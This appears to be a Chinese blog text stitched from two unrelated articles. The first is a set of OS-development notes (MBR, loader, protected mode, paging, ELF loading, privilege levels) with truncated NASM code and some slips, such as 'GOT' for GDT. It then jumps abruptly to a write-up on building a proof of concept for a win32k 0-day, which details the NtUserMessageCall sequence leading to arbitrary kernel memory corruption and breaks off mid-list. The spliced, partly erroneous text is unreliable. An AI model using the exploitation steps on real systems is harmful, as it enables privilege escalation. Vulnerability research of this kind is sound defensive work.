BIOS最后的工作就是校验启动盘中位于0盘0道1扇区的内容,这里面其实主要校验的是MBR,如果此扇区末尾两个字节为0x55和0xaa,BIOS即认定这里为MBR,便将其加载到0x7c00处,然后跳转到这个地方继续执行。至于为什么这里是0x7c00书中也有提到,主要是考虑到不能覆盖中断向量表、预留栈空间等,BIOS大致流程也差不多总结到这里。下一步就是做实验。
这里用NASM实现一个简单的MBR,功能是在屏幕上打印字符串”1 MBR”,背景色黑色,前景色绿色,因为有中文格式问题,复制的时候建议去除所有中文以及注释,当然最好是自己敲一遍
1 | ; mbr.S |
命令sudo nasm -o mbr.bin mbr.S
编译生成mbr.bin
文件,然后用dd命令将其写入我们镜像中的第0行,512字节大小,也就是写入一开始BIOS执行的MBR
再次运行sudo ./bochs -f bochsrc.disk
即可显示出我们写的内容,断下的时候输入c即可运行
这里介绍一些显存相关内容,显存地址分布
起始 | 结束 | 大小 | 用途 |
---|---|---|---|
C0000 | C7FFF | 32KB | 显示适配器BIOS |
B8000 | BFFFF | 32KB | 用于文本模式显示适配器 |
B0000 | B7FFF | 32KB | 用于黑白显示适配器 |
A0000 | AFFFF | 64KB | 用于彩色显示适配器 |
根据上表地址直接操作显卡显示文本
1 | ;主引导程序 |
效果如下,红色字体,绿色背景闪烁
上面MBR实际上没做什么事情,只是单纯的实现了和显卡交互,和打印hello world区别不是很大,我们需要不断增加新的有实际用处的功能,MBR只有512字节,无法实现对内核的加载,所以我们下一步需要让其增加读写磁盘的功能,在硬盘中加载loader,然后用loader来加载我们的内核。
MBR在第0扇区(逻辑LBA编号),loader理论上可以在1扇区,这里为了安全起见放在2扇区,预留出1扇区的空位。MBR将二扇区的内容读出来,放入实模式1MB内存分布中的可用区域(参见BIOS处的表格),因为loader中还会加载一些GDT等的描述符表,这些表不能被覆盖,随着内核越来越完整,loader的内核也不断从低地址向高地址发展,所以需要选择一个稍安全的地方,留出一些空位,这里选择0x900,大致步骤如下:
先选择通道,往该通道的sector count寄存器中写入待操作的扇区数,参考如下表格找到端口
往该通道上的三个LBA寄存器写入扇区起始地址的低24位。
往device寄存器中写入LBA地址的24~27位,并置第6位为1,使其为LBA模式,设置第4位,选择操作的硬盘(master硬盘或slave硬盘)。
往该通道上的command寄存器写入操作命令。
读取该通道上的status寄存器,判断硬盘工作是否完成。
如果以上步骤是读硬盘,进入下一个步骤。否则,完工。
将硬盘数据读出。
1 | ;主引导程序 |
我们需要在boot.inc
中指定两句头文件参数,如下所示
1 | LOADER_BASE_ADDR equ 0x900 |
这里编译需要加一个-I
参数,这里我将boot.inc
放在include
目录下
编译成功之后,发现我们还没有写loader,这会导致CPU跳转到0x900
处的地方,所以下一步我们就需要实现一个简单的loader,至少保证能简单运行下去。复习一下现在位置我们所知道的开机流程:BIOS -> MBR -> Loader
loader中的内容我们用之前MBR的即可,这里编译也是需要sudo nasm -I include/ -o loader.bin loader.S
1 | %include "boot.inc" |
dd命令指定seek参数将其放入第二个扇区
1 | sudo dd if=./loader.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=1 seek=2 conv=notrunc |
最后的运行效果如下
实模式的安全缺陷总结:
32位CPU在16位模式下运行的状态为实模式,当CPU发展到32位的时候出现保护模式,保护模式下CPU变成了32根地址总线,32根地址总线足够访问4GB的空间,为了满足4GB空间寻址,寄存器宽度也增加了一倍,从原来的2字节变为4字节32位。除了段寄存器仍然使用16位,其余通用寄存器都提升到32位。
寄存器要保持向下兼容,不会重新构造原来的基础设备而是在原有的寄存器基础上进行了拓展。经过拓展后的寄存器在原有名字上加了个e,如图所示
保护模式中的段基址不再是像实模式那样直接存放物理地址,段寄存器中要记录32位地址的数据段基址,16位肯定是装不下的,所以段基址都存储在一个数据结构中——全局描述符表。其中每个表项称为段描述符,其大小为64字节,用来描述各个内存段的起始地址、大小、权限等信息。而这里段寄存器中存放的是段选择子 selector 。如果把全局描述符表当作数组来看的话,段选择子就是数组的下标,用来索引段描述符。该全局描述符表很大,所以放在内存中,由GDTR寄存器指向它。
Tip:因为段描述符是在内存中,CPU访问较慢,效率不高,故在80286的保护模式中增加了一个段描述符缓冲寄存器用来提高效率。CPU每次将获取到的内存信息整理之后存入此寄存器,之后每次访问相同的段时,直接读取对应的段描述符缓冲寄存器即可。
因为80286始终是16位CPU,通用寄存器还是16位宽,寻址空间为2的24次方也就是16MB,单个寄存器依旧无法访问到全部内存空间,这就有了80386的登场,参数总结如下
版本 | CPU位数 | 寄存器宽 | 地址线宽 | 寻址空间 |
---|---|---|---|---|
8086 | 16 | 16 | 20 | 2^20 = 1MB |
80286 | 16 | 16 | 24 | 2^24 = 16MB |
80386 | 32 | 32 | 32 | 2^32 = 4GB |
实模式和保护模式的内存寻址方式如下图所示
32位CPU既支持实模式有支持保护模式,为了区分当前指令到底是哪个模式下运行的,编译器提供了伪指令bits
指令格式:[bits 16]或[bits 32],分别对应16位和32位
如下面的例子
1 | [bits 16] |
模式之间可以相互使用对方环境下的资源。比如,16位实模式下可以使用32位保护模式下的寄存器。如果要用另一模式下的操作数大小,需要在指令前添加指令前缀0x66,将当前指令模式临时转变为另一种模式。这就是反转的意义,不管当前模式是什么,总是转变成相反的运行模式。这个转换是临时的,只有在当前指令才有效。如下图
比如,在指令中添加了0x66反转前缀后:
假如当前运行模式是16位实模式,操作数大小变为32位。
假设当前运行模式是32位保护模式,操作数大小变为16位。
操作数可以在模式间相互转换,那么寻址方式一样可以,只需要在它的指令前加上0x67反转前缀即可。如下图
下面总结一下,保护模式首先是必须向前兼容的,故其访问内存依然是段基址:段内偏移
的方式,结合前面总结过实模式的一些安全问题,想要解决这些问题就得既保证向前兼容,又保证安全性。CPU工程师想到的方法就是增加更多的安全属性位,下图即是段描述符格式:
其实对于各个字段的解释,我更倾向于用的时候去查,因为随着CPU的更新换代,如今的一些位可能有变化,要参考当然是参考最新的比较好,比如参考intel手册之类的权威资料,无非就是保存一些段的属性(可读、可写、是否存在等),权限(Ring0-Ring3),基址,界限范围等信息。其访问内存的形式如下图所示
全局描述符表GDT相当于是一个描述符的数组,数组每一个元素都是8个字节的描述符,而选择子则是提供下标在GDT中索引描述符。假设 A[10] 数组即为GDT表,则
全局描述符表是公用的,GDTR这个专门的寄存器则存放GDT表的内存地址和大小,是一个48位的寄存器,对这个寄存器操作无法用mov等指令,这里用的是lgdt
指令初始化,指令格式是:lgdt 48位内存数据
其中前16位是GDT以字节为单位的界限值,相当于GDT字节大小减1。后32位是GDT的起始地址。由于GDT的大小是16位二进制,表示范围是2^16 = 65536字节。每个描述符大小是8字节,故GDT中最多可容纳的描述符数量是65536/8 = 8198
,也就是可以容纳8192个段或门。
按照CPU的设想,一个任务对应一个局部描述符表LDT,切换任务的时候也会切换LDT,LDT也存放在内存中,由LDTR寄存器指向,加载的指令为lldt
。对于操作系统来说,每个系统必须定义一个GDT,用于系统中的所有任务和程序。可选择性定义若干个LDT。LDT本身是一个段,而GDT不是。这种表在这里并不常用所以就不继续展开了,感兴趣的小伙伴可以自行百度。
首先复习一下段寄存器CS、DS、ES、FS、GS、SS,保护模式下段寄存器中存放的即是段选择子,结构如下,其中0-1位表示特权级,2位TI表示选择子是在GDT中,还是在LDT中索引描述符,剩下的13位就是索引部分,2^13 = 8192,这也刚好和GDT最多容纳的段或门的数量相符。
举个访问内存的例子,例如选择子是 0x8,将其加载到 ds 寄存器后,访问 ds: 0x9 这样的内存,其过程是首先拆分 0x8 为二进制 0000 0000 0000 1000
然后得到 0x8 的低 2 位是RPL,其值为 00。第 2 是 TI ,其值 0,表示是在 GOT 中索引段描述符。用 0x8 的高 13 位 0x1 在 GOT 中索引,也就是 GOT 中的第 1 个段描述符(GDT 中第 0 个段描述符不可用)。假设第 1 个段描述符中的 3个段基址部分,其值为 0xl234oCPU 将 0xl234 作为段基址,与段内偏移地址 0x9 相加, 0x1234 + 0x9 = 0x123d
。用所得的和 0x123d 作为访存地址。
Tip:GDT中第0个段描述符不可用是为了防止未初始化段选择子,如果未初始化段选择子就会访问到第0个段描述符从而抛出异常。
为了让段基址:段内偏移
策略继续可用,CPU采取的做法是将超过1MB的部分自动绕回到0地址,继续从0地址开始映射。相当于把地址对1MB求模。超过1MB多余出来的内存被称为高端内存区HMA。
这种地址绕回的做法需要通过两种情况分别讨论:
对于只有20位地址线的CPU,不需要任何操作便能自动实现地址绕回
当其他有更多地址总线的时候,因为CPU可以访问更多的内存,所以不会产生地址回滚。这种情况下的解决方案就是对第21根地址线进行操作。开启A20则直接访问物理地址即可,关闭A20则使用回绕方式访问。
打开A20的操作方法有以下三个步骤,主要是将0x92端口第一位置一即可
1 | in al, 0x92 |
CRx系列寄存器属于控制寄存器一类,这里主要介绍CR0寄存器,这个寄存器如下图所示,其中第0位PE位表示是否开启保护模式
其他位如下图所示,这里暂时不深入讨论
对CR0的PE位操作如下所示
1 | mov eax,cr0 |
现在基础知识总结的差不多了,进入下一个实验阶段,更新我们的mbr和loader,因为我们的loader.bin会超过512字节,所以要把mbr.S中加载loader.bin的读入扇区数增大,目前是1扇区,这里直接改为4扇区
1 | ... |
如下图所示,cx 寄存器中存放的这个参数非常重要,代表读入扇区数,如果loader.bin
的大小超过mbr读入的扇区数,就需要对这个参数进行修改
接下来就是更新boot.inc
,里面存放的是loader.S
的一些符号信息,相当于头文件,比之前主要多定义了GDT描述符的属性和选择子的属性。Linux使用的是平坦模型,整个内存都在一个段里,这里平坦模型在我们定义的描述符中,段基址是0,段界限 * 粒度 = 4G
粒度选的是4k,故段界限是 0xFFFFF
1 | ;--------------------- loader 和 kernel--------------------- |
下面修改 loader.S
1 | %include "boot.inc" |
同之前的方法编译,注意这里loader.bin编译后为615个字节,需要2个扇区大小,写入磁盘时要给count赋值为2
运行结果如下,其中1 MBR
来自实模式下的mbr.S,2 loader in real
来自实模式下用BIOS中断0x10实现的,左上角第二行的P
是在保护模式下输出的。
查看GDT表中的内容和我们设置的相符,其中第0个不可用。查看寄存器信息PE位设置为1表示已经进入保护模式。
保护模式对内存的保护体现在如下几个方面,这里简单总结一下,更详细的内容网上有很多更详细的说明,当然最权威的还是intel手册。
向段寄存器加载段选择子时的保护
当引用一个内存段时,实际上就是往段寄存器中加载个段选择子,为了避免非法引用内存段的情况,会检查选择子是否合理,判断方法就是通过验证索引值是否出现越界,越界则抛出异常。有如下表达式
描述符表基地址+选择子中的索引值*8+7<=描述符表基地址+描述符表界限值
总结如下图
检查完选择子就该检查段描述符中 type 字段,也就是段的类型,如下图所示
检查完类型后检查P位,P位表示该段是否存在,1表示存在,0表示不存在。
代码段和数据段的保护
代码段和数据段主要保护措施是当CPU访问一个地址的时候,判断该地址不能超过所在内存段的范围。简单总结如下图所示,出现这种跨段操作就会出现异常。
栈段的保护
段描述符type中的e位表示扩展方向,栈可以向上扩展和向下扩展,下面就是检查方式
等价于如下表达式
1 | 实际段界限+1<=esp-操作数大小<=0xFFFFFFFF |
Linux获取内存容量方法有三种,本质上分别是BIOS中断0x15的3个子功能,BIOS是实模式下的方法,只能在保护模式之前调用。总结如下
利用BIOS中断0x15子功能0xe820获取内存
此方法最灵活,返回的内容也最丰富,内存信息的内容是地址范围描述符来描述的(ARDS),每个字段4字节,一共20字节,调用0x15返回的也就是这个结构。其中Type字段表示内存类型,1表示这段内存可以使用;2表示不可用使用此内存;其它表示未定义,将来会用到
字节偏移量 | 属性名称 | 描述 |
---|---|---|
0 | BaseAddrLow | 基地址的低32位 |
4 | BaseAddrHigh | 基地址的高32位 |
8 | LengthLow | 内存长度的低32位,以字节为单位 |
12 | LengthHigh | 内存长度的高32位,以字节为单位 |
16 | Type | 本段内存的类型 |
用0x15子功能0xe820调用说明和调用步骤如下
利用BIOS中断0x15子功能0xe801获取内存
此方法最多识别4G的内存,结果存放在两组寄存器中,操作起来要简便一些,调用说明和调用步骤如下
利用BIOS中断0x15子功能0x88获取内存
此方法最多识别64MB内存,操作起来最简单,调用说明和调用步骤如下
下面结合这三种方式改进我们的实验代码,下面是loader
,我们将结果保存在了total_mem_bytes
中,重要的一些地方都有注释,更详细的内容建议参考书中P183
1 | %include "boot.inc" |
在mbr.S
中也需要修改一处内容,我们跳转的内容要加上0x300,原因是在 loader.S 中loader_start
计算如下
(4个段描述符 + 60个段描述符槽位) * 8字节 = total_mem_bytes_offset
(4 + 60) * 8 = 512 = 0x200
total_mem_bytes + gdt_ptr + ards_buf + adrs_nr + total_mem_bytes_offset = loader_start
4 + 6 + 244 + 2 + 0x200 = 0x300
修改片断如下
1 | [...] |
运行结果如下,这里我们用xp 0xb00
查看我们的结果,0x02000000
换算过来刚好是我们bochsrc.disk
中 megs 设置的32MB大小
分页机制是当物理内存不足时,或者内存碎片过多无法容纳新进程等情况的一种应对措施。假如说此时未开启分页功能,而物理内存空间又不足,如下图所示,此时线性地址和物理地址一一对应,没有满足进程C的内存大小,可以选择等待进程B或者A执行完获得连续的内存空间,也可以将A3或者B1段换到硬盘上,腾出一部分空间,然而这些IO操作过多会使机器响应速度很慢,用户体验很差。
出现这种情况的本质其实是在分段机制下,线性地址等价于物理地址。那么即使在进程B的下面还有10M的可用空间,但因为两块可用空间并不连续,所以进程C无法使用进程B下面的10M可用空间。
按照这种思路,只需要通过某种映射关系,将线性地址映射到任意的物理地址,就可以解决这种问题了。实现线性地址的连续,而物理地址不需要连续,于是分页机制就诞生了。
在保护模式下寻址依旧是通过段基址:段内偏移
组成的线性地址,计算出线性地址后再通过判断分页位是否打开,若打开则开启分页机制进行检索,如下图所示
分页机制的作用有
分页机制的作用如下图所示,分页机制来映射的线性地址便是我们经常说的虚拟地址
因为页大小 * 页数量 = 4GB
,想要减少页表的大小,只能增加一页的大小。最终通过数学求极限,定下4KB为最佳页大小。页表将线性地址转换成物理地址的过程总结如下图,首先通过计算线性地址高20位索引出页表中的基址,然后加上低12位计算出最终的物理地址,下图中0x9234即是最终的物理地址
无论是几级页表,标准页的尺寸都是4KB。所以4GB的线性地址空间最多有1M个标准页。一级页表是将这1M个标准页放置到一张页表中,二级页表是将这1M个标准页平均放置1K个页表中,每个页表包含有1K个页表项。页表项是4字节大小,页表包含1K个页表项,故页表的大小同样为4KB,刚好为一页。
为了管理页表的物理地址,专门有一个页目录表来存放这些页表。页目录表中存储的页表称为页目录项(PDE),页目录项同样为4KB,且最多有1K个页目录项,所以页目录表也是4KB,如下图所示
二级页表中虚拟地址到物理地址的转换也有很大的变化,具体步骤如下
还是用书中的图最直观,下图表示mov ax, [0x1234567]
的转换过程,可以发现cr3寄存器其实指向的是页目录表基地址
PDE和PTE的结构如下图所示
从右到左各属性总结如下表
属性位 | 意义 |
---|---|
P | 存在位,为1时表示该页在物理内存中,为0表示不在物理内存中 |
RW | 读写位,为1时可读可写,为0是可读不可写 |
US | 特权位,为1时表示处于普通用户,0~3特权级可访问,为0表示超级用户,0~2特权级可访问 |
PWT | 页级通写位,为1表示此项采用通写方式,表示该页不仅是普通内存,还是高速缓存 |
PCD | 页级高速缓存禁止位,为1表示该页启用高速缓存 |
A | 访问位,为1表示该页被CPU访问过 |
D | 脏页位,当CPU对一个页面执行写操作,此为被赋1 |
PAT | 页属性表位,能够在页面一级的粒度上设置内存属性 |
G | 全局位,为1表示该页在高速缓存TLB中一直保存 |
AVL | 表示软件,系统可用该位,和CPU无关 |
总结这些步骤,我们启用分页机制需要做的事情如下
下面是创建页目录及页表的代码
1 | ; 创建页目录及页表 |
在boot.inc中添加如下信息
1 | ; loader 和 kernel |
进行完第一步的内容,之后的操作相对就简单了,将页表地址写入控制寄存器cr3寄存器和将cr0的PG位置1的操作整合起来的loader.S
如下所示
1 | %include "boot.inc" |
编译运行,其中编译count的参数根据实际大小调整,这里我编译设置的是3,运行结果如下图,其中红框中gdt段基址已经修改为大于0xc0000000
,也就是3GB之上的内核地址空间,通过info tab
可查看地址映射关系,其中箭头左边是虚拟地址,右边是对应的物理地址
总结虚拟地址获取物理地址的过程:
先要从 CR3 寄存器中获取页目录表物理地址,然后用虚拟地址的高 10 位乘以 4 的积作为在页目录表中的偏移量去寻址目录项 pde ,从 pde 中读出页表物理地址,然后再用虚拟地址的中间 10 位乘以 4 的积作为在该页表中的偏移量去寻址页表项 pte,从该 pte 中读出页框物理地址,用虚拟地址的低 12 位作为该物理页框的偏移量。
因为从虚拟地址映射到物理地址确实比较麻烦,所以为了提高效率,intel自然想得到用一个缓存装置TLB。结构如下,更新TLB的方法有两种,重新加载CR3和指令invlpg m
,其中m表示操作数为虚拟内存地址,如更新虚拟地址0x1234对应的条目指令为invlpg [0x1234]
虚拟地址高20位(虚拟页框号) | 属性位 | 物理地址高20位(物理页框号) |
---|---|---|
… | … | … |
我们下一步的目标是在内核中使用C语言,因为C语言是高级语言,在内核中的C语言用gcc编译需要指定很多参数,避免编译器添加许多不必要的函数。然而在Linux下C语言编译而成的可执行文件格式为ELF,想在我们的内核中运行ELF程序首先需要对其进行解析,下面简单介绍一下ELF文件格式,ELF文件格式分为文件头和文件体部分,文件头存放程序中其他的一些头表信息,文件体则具体的对这些表进行描述。ELF格式的作用体现在链接阶段和运行阶段两个方面,其布局如下图所示
其中elf header的结构如下所示,这里的很多结构都来自Linux源码/usr/include/elf.h
1 | /* 32位elf头 */ |
其中的一些数据类型如下
数据类型名称 | 字节大小 | 对齐 | 意义 |
---|---|---|---|
Elf32_Half | 2 | 2 | 无符号中等大小的整数 |
Elf32_Word | 4 | 4 | 无符号大整数 |
Elf32_Addr | 4 | 4 | 无符号程序运行地址 |
Elf32_Off | 4 | 4 | 无符号的文件偏移量 |
下面介绍一些关键成员,其中e_ident[16]
数组功能如下,其大小是16字节,存放一些文件属性信息
e_type
占用2字节,指定 elf 目标文件的类型
elf目标文件类型 | 取值 | 意义 |
---|---|---|
ET_NONE | 0 | 未知目标文件格式 |
ET_REL | 1 | 可重定位文件 |
ET_EXEC | 2 | 可执行文件 |
ET_DYN | 3 | 动态共享目标文件 |
ET_CORE | 4 | core文件,即程序崩溃时其内存映像的转储格式 |
ET_LOPROC | 0xff00 | 特定处理器文件的扩展下边界 |
ET_HIPROC | 0xffff | 特定处理器文件的扩展上边界 |
剩下的一些字段如下,想更具体了解的可以自己百度
字段 | 大小(字节) | 意义 |
---|---|---|
e_machine | 2 | 支持的硬件平台 |
e_version | 4 | 表示版本信息 |
e_entry | 4 | 操作系统运行该程序时,将控制权转交到的虚拟地址 |
e_phoff | 4 | 程序头表在文件内的字节偏移量。如果没有程序头表,该值为0 |
e_shoff | 4 | 节头表在文件内的字节偏移量。若没有节头表,该值为0 |
e_flags | 4 | 与处理器相关的标志 |
e_ehsize | 2 | 指明 elf header 的字节大小 |
e_phentsize | 2 | 指明程序头表(program header table )中每个条目(entry)的字节大小 |
e_phnum | 2 | 指明程序头表中条目的数量。实际上就是段的个数 |
e_shentsize | 2 | 节头表中每个条目的字节大小,即每个用来描述节信息的数据结构的字节大小 |
e_shnum | 2 | 指明节头表中条目的数量。实际上就是节的个数 |
e_shstrndx | 2 | 指明 string name table 在节头表中的索引 index |
下面再介绍一下Elf32_Phdr
结构,此段是指程序中的某个数据或代码的区域段落,例如代码段或数据段,这个段不是内存中的段,此段是磁盘上程序中的一个段,下面是其结构
1 | struct Elf32_Phdr |
各个字段的意义如下表
字段 | 意义 |
---|---|
p_type | 段类型 |
p_offset | 本段在文件的偏移量 |
p_vaddr | 本段在内存中起始的虚拟地址 |
p_paddr | 仅用于与物理地址相关的系统中 |
p_filesz | 本段在文件中的大小 |
p_memsz | 本段在内存中的大小 |
p_flags | 本段相关的标志 |
p_align | 本段在文件和内存中的对齐方式 |
Linux下可以用readelf
命令解析ELF文件,下面是我们在kernel目录下新添加的测试代码,因为是64位操作系统,编译命令需要如下修改,我们下一步就是将这个简单的elf文件加载入内核,物理内存中0x900是loader.bin的加载地址,其开始部分是不能覆盖的GDT,预计其大小是小于2000字节,保守起见这里选起始的物理地址为0x1500,所以链接命令指定虚拟起始地址0xc0001500
下面通过dd
命令将其写入磁盘,为了不纠结count的赋值,这里直接赋值为200,seek赋值为9,写在第9扇区
1 | sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc |
写完之后我们需要修改loader.S中的内容,分两步完成
内核的加载地址选取的是0x7e00~0x9fbff
范围中的0x70000,添加如下片断
1 | ; ------------------ 加载内核 ------------------ |
下一步是初始化内核的工作,我们需要遍历kernel.bin
程序中所有的段,因为它们才是程序运行的实质指令和数据的所在地,然后将各段拷贝到自己被编译的虚拟地址中,如下添加的是在loader.S
中的内容,注释已经很详细了
1 | ; ------------------------- 加载kernel ---------------------- |
最终的一个内存布局如下,参考之前的1MB实模式地址图来对应就明白了
特权级按照权力分为0、1、2、3级,数字越小,级别越高。计算机启动之初就在0级特权运行,MBR则就是0级权限,谈到权限就得提到TSS任务状态段,程序拥有此结构才能运行,相当于一个任务的身份证,结构如下图所示,大小为104字节,其中有很多寄存器信息,而TSS则是由TR寄存器加载的
每个特权级只能有一个栈,特权级在变换的时候需要用到不同特权级下的栈,特权转移分为两类,一类是中断门和调用门实现低权限到高权限,另一类是由调用返回指令从高权限到低权限,这是唯一一种让处理器降低权限的方法。
对于低权限到高权限的情况,处理器需要提前记录目标栈的地方,更新SS和ESP,也就是说我们只需要提前在TSS中记录好高特权级的栈地址即可,也就是说TSS不需要记录3级特权的栈,因为它的权限最低。
对于高权限到低权限的情况,一方面因为处理器不需要在TSS中寻找低特权级目标栈的,也就是说TSS也不需要记录3级特权的栈,另一方面因为低权限的栈地址已经存在了,这是由处理器的向高特权级转移指令(int、call等)实现机制决定的。下面就介绍一下权限相关的一些知识点:
CPL、DPL、RPL
CPL是当前进程的权限级别(Current Privilege Level),是当前正在执行的代码所在的段的特权级,存在于cs寄存器的低两位。
RPL是进程对段访问的请求权限(Request Privilege Level),是对于段选择子而言的,每个段选择子有自己的RPL,它说明的是进程对段访问的请求权限,有点像函数参数。而且RPL对每个段来说不是固定的,两次访问同一段时的RPL可以不同。RPL可能会削弱CPL的作用,例如当前CPL=0的进程要访问一个数据段,它把段选择符中的RPL设为3,这样它对该段仍然只有特权为3的访问权限。
DPL存储在段描述符中,规定访问该段的权限级别(Descriptor Privilege Level),每个段的DPL固定。当进程访问一个段时,需要进程特权级检查,一般要求DPL >= max {CPL, RPL}
处理器只有通过门结构才能由低特权级转移到高特权级,也可以通过门结构进行平级跳转,所以门相当于一个跳板,当前特权级首先需要大于门的DPL特权级,然后才能使用门来跳到想去的特权级,处理器就是这样设计的,四种门结构分别是:任务门、中断门、陷阱门、调用门。门描述符和段描述符类似,都是8字节大小的数据结构,用来描述门通向的代码,如下所示
任务门可以放在GDT、LDT、IDT中,调用门位于GDT、LDT中,中断门和陷阱门仅位于IDT中调用方法如下
调用门
call 和 jmp 指令后接调用门选择子为参数,以调用函数例程的形式实现从低特权向高特权转移,可用来实现系统调用。 call 指令使用调用门可以实现向高特权代码转移, jmp 指令使用调用门只能实现向平级代码转移。若需要参数传递,则0~4位表示参数个数,然后在权限切换的时候自动在栈中复制参数。关于调用门的过程保护,参考P240
中断门
以 int 指令主动发中断的形式实现从低特权向高特权转移, Linux 系统调用便用此中断门实现。
陷阱门
以 int3 指令主动发中断的形式实现从低特权向高特权转移,这一般是编译器在调试时用。
任务门
任务以任务状态段 TSS 为单位,用来实现任务切换,它可以借助中断或指令发起。当中断发生时,如果对应的中断向量号是任务门,则会发起任务切换。也可以像调用门那样,用 call 或 jmp 指令后接任务门的选择子或任务 TSS 的选择子。
保护模式下,处理器中的”阶级”不仅体现在数据和代码的访问,还体现在以下只有在0特权级下被执行的特权指令
1 | hlt、lgdt、ltr、popf等 |
还有一些IO敏感指令如in、out、cli、sti
等访问端口的指令也需要在相应的特权级下操作,如果当前特权级小于 IOPL 时就会产生异常,IOTL 在 eflags 寄存器中,没有特殊的指令设置 eflags 寄存器,只有用 popf 结合 iretd 指令,在栈中修改,当然也只有在0特权下才能操作,eflags 寄存器中的 IOTL 位如下所示
卡巴斯基在12月发布了一篇关于0day exploit used in the wild的文章。这提起了我的兴趣,他们只是简单描述了漏洞的工作和利用方式,但却没有提供任何详细的POC。于是我决定尝试根据卡巴斯基博客的文章和补丁分析为该漏洞编写POC。
第一件事就是我们需要尽可能的搜集有关此漏洞的信息。在阅读上文提到的博客中,我提取了以下信息:
NtUserMessageCall
函数进行两次调用win32k!DrawSwitchWndHilite
的文档除此之外还有一个很不错的反编译图片,显示了上面列出的一些内容。具体来说图片显示了:创建一个切换窗口,调用 toggle_alt_key
函数并多次调用了NtUserMessageCall
函数的过程(图片来源)
有许多有用的信息,但是仍然没有描述对漏洞工作方式和触发的细节。
漏洞模块是win32k.sys,我下载了该模块的修复和未修复版本。
对于win 7 x64而言,补丁编号是:
可以从微软官方补丁下载网站去下载它们
下面是用 bindiff 比较两个版本的结果
在排除一些和功能性有关的DebugHook
函数之后,我们需要关注的就是这个稍微改变了一些的 InitFunctionTables()
函数表
这里肯定不是最关键的补丁所在。这不会帮助我们立即识别漏洞的关键点,但值得注意的是新添加的*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180)
,这里可能存在和未初始化变量相关的漏洞。
在本节中我会逐步构造触发此漏洞的POC,同时我也会分析清楚这个漏洞的根本原因。
补丁对比一开始没有给出很多有用的信息,所以在开发的第一阶段,我主要是依据卡巴斯基的分析文章。为了有一个良好的测试环境,我提前准备了 Win7 SP1 x64的虚拟机并拥有最新版本的win32k补丁。需要注意的是我将Windbg附加到该虚拟机上进行内核调试,同时我还配置好了它的符号路径。
我决定通过博客文章中提到的win32k!DrawSwitchWndHilite
函数开始我的分析。有两个地方交叉引用到了它:xxxMoveSwitchWndHilite
函数和xxxPaintSwitchWindow
函数,后者立刻引起了我的注意,因为其中在GetKeyState/GetAsyncKeyState
周围调用到了博客中提到的关键函数并且它检查了ALT键是否被按下。
注:从xxxPaintSwitchWindow
中调用DrawSwitchWndHilite
在交叉引用观察之后(xxxWrapSwitchWndProc
->xxxSwitchWndProc
->xxxPaintSwitchWindow
->DrawSwitchWndHilite
),我发现该调用链的第一个函数在InitFunctionTables
表中,也是在补丁中修复的函数。
接下来我把目光移到了NtUserMessageCall
函数上,下面是它的函数申明
1 | NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi) |
Exploit是通过调用它并在参数中赋值了msg = 0x14
和dwType = 0xE0
,让我们看看它是如何做到的
1 | HINSTANCE hInstance = GetModuleHandle(NULL); |
在这里我简单的注册了一个窗口类并创建了窗口,然后我调用了NtUserMessageCall
函数并赋予它和exploit中相同的参数观察结果。为了了解实际情况,我设置了断点 kd> ba e 1 win32k!NtUserMessageCall
并运行代码。
其中被断下来很多次,我们必须获取正确的调用链,这并不困难,因为它的调用栈很短。
注:NtUserMessageCall
单步调试代码可以发现它从 gapfnMessageCall
数组指针中通过索引来调用的函数,这里索引是0,索引是根据msg
值计算的,因此他会调用NtUserfnDWORD
函数
注:NtUserfnDWORD
下一个调用会比较dwType
的值,并且现在gpsi
的偏移等于0x40,导致调用到xxxWrapSwitchWndProc
函数(这个函数在刚才DrawSwitchWndHilite
函数的调用链中出现)。
xxxWrapSwitchWndProc
函数中又调用了xxxSwitchWndProc
函数
注:xxxSwitchWndProc
代码执行到这里就会失败,没有办法继续执行到xxxPaintSwitchWindow
函数,这是我们基于msg
值等于0x14
执行的流程。让我们检查一下原因。
就像前面那张图显示的,代码在这个地方会执行失败,因为窗口的fnid值不等于0x2A0
(FNID_SWITCH
),并且正在发送的消息不等于1,所以会直接结束xxxDefWindowProc
函数。为了避免这种情况,我们需要将fnid值设置为FNID_SWITCH
然后再调用xxxSwitchWndProc
函数,这样我们就可以通过执行switch语句调用到xxxPaintSwitchWindow
函数。
如何设置正确的fnid值?实际上上图中红色框已经显示的很清楚了,我们只需要将if中的检查全部失败即可到达设置fnid值的地方。
下面是一些我们需要满足的条件,使这三个if判断都失败:
fnid == 0
和cbwndExtra + 0x128 >= *(gpsi + 0x154)
对于每个用户创建的新窗口而言,它的fnid值都为0,*(gpsi+0x154)
值在未修复版本的win32k中为0,在修复版本中即使它被设置为0x130
,我们仍可以通过将cbwndExtra
设置为8或更高从而绕过第一个检查
msg == 1
可以通过NtUserMessageCall
函数进行设置,虽然将msg
设为 1
可以控制流程执行到 NtUserfnINLPCREATESTRUCT
而不是 NtUserfnDWORD
但是它仍会在xxxSwitchWndProc
处终止
extraData == 0
extraData的大小可以通过注册窗口时的cbwndExtra
值来确定。extraData会紧接在tagWND
结构之后(我在IDA中将这个字段使用 QWORD
类型添加到tagWND
结构里在sizeof(tagWND)
偏移处,这样会增加反编译代码的阅读性)。它的值可以通过调用SetWindowLongPtr
函数直接来设置。
如果满足上述所有条件,窗口的fnid值就会设置为FNID_SWITCH
。
因此我们现在需要调用两次NtUserMessageCall
函数,第一次将参数msg
赋值为 1
来设置需要的fnid值,第二次则直接调用到达xxxPaintSwitchWindow
问题函数
1 | HINSTANCE hInstance = GetModuleHandle(NULL); |
我为窗口类添加了extraData
,并添加了第二次调用的NtUserMessageCall
函数。现在我们的调用链就可以达到xxxPaintSwitchWindow
函数了。
(附带说明:dwType
的值不需要等于 0xE0
, 其值为 0
效果也是一样的 , 因为在 NtUserfnDWORD
函数中会和 0x1F
进行与操作)
注:xxxPaintSwitchWindow
经过仔细的检查,我发现从窗口对象(25行)获取的 extraWndData
的值会被当成一个指针去修改一块内存的值!(46-52行)如果我能通过代码设置extraWndData
的值,那我们就可以实现破坏任意内存!
要达到此目的我们需要再通过一些检查(红色标记):
检查窗口属性是否有WS_VISIBLE
标志
这个标志可以直接通过CreateWindowEx
设置
fnid == 0x2A0
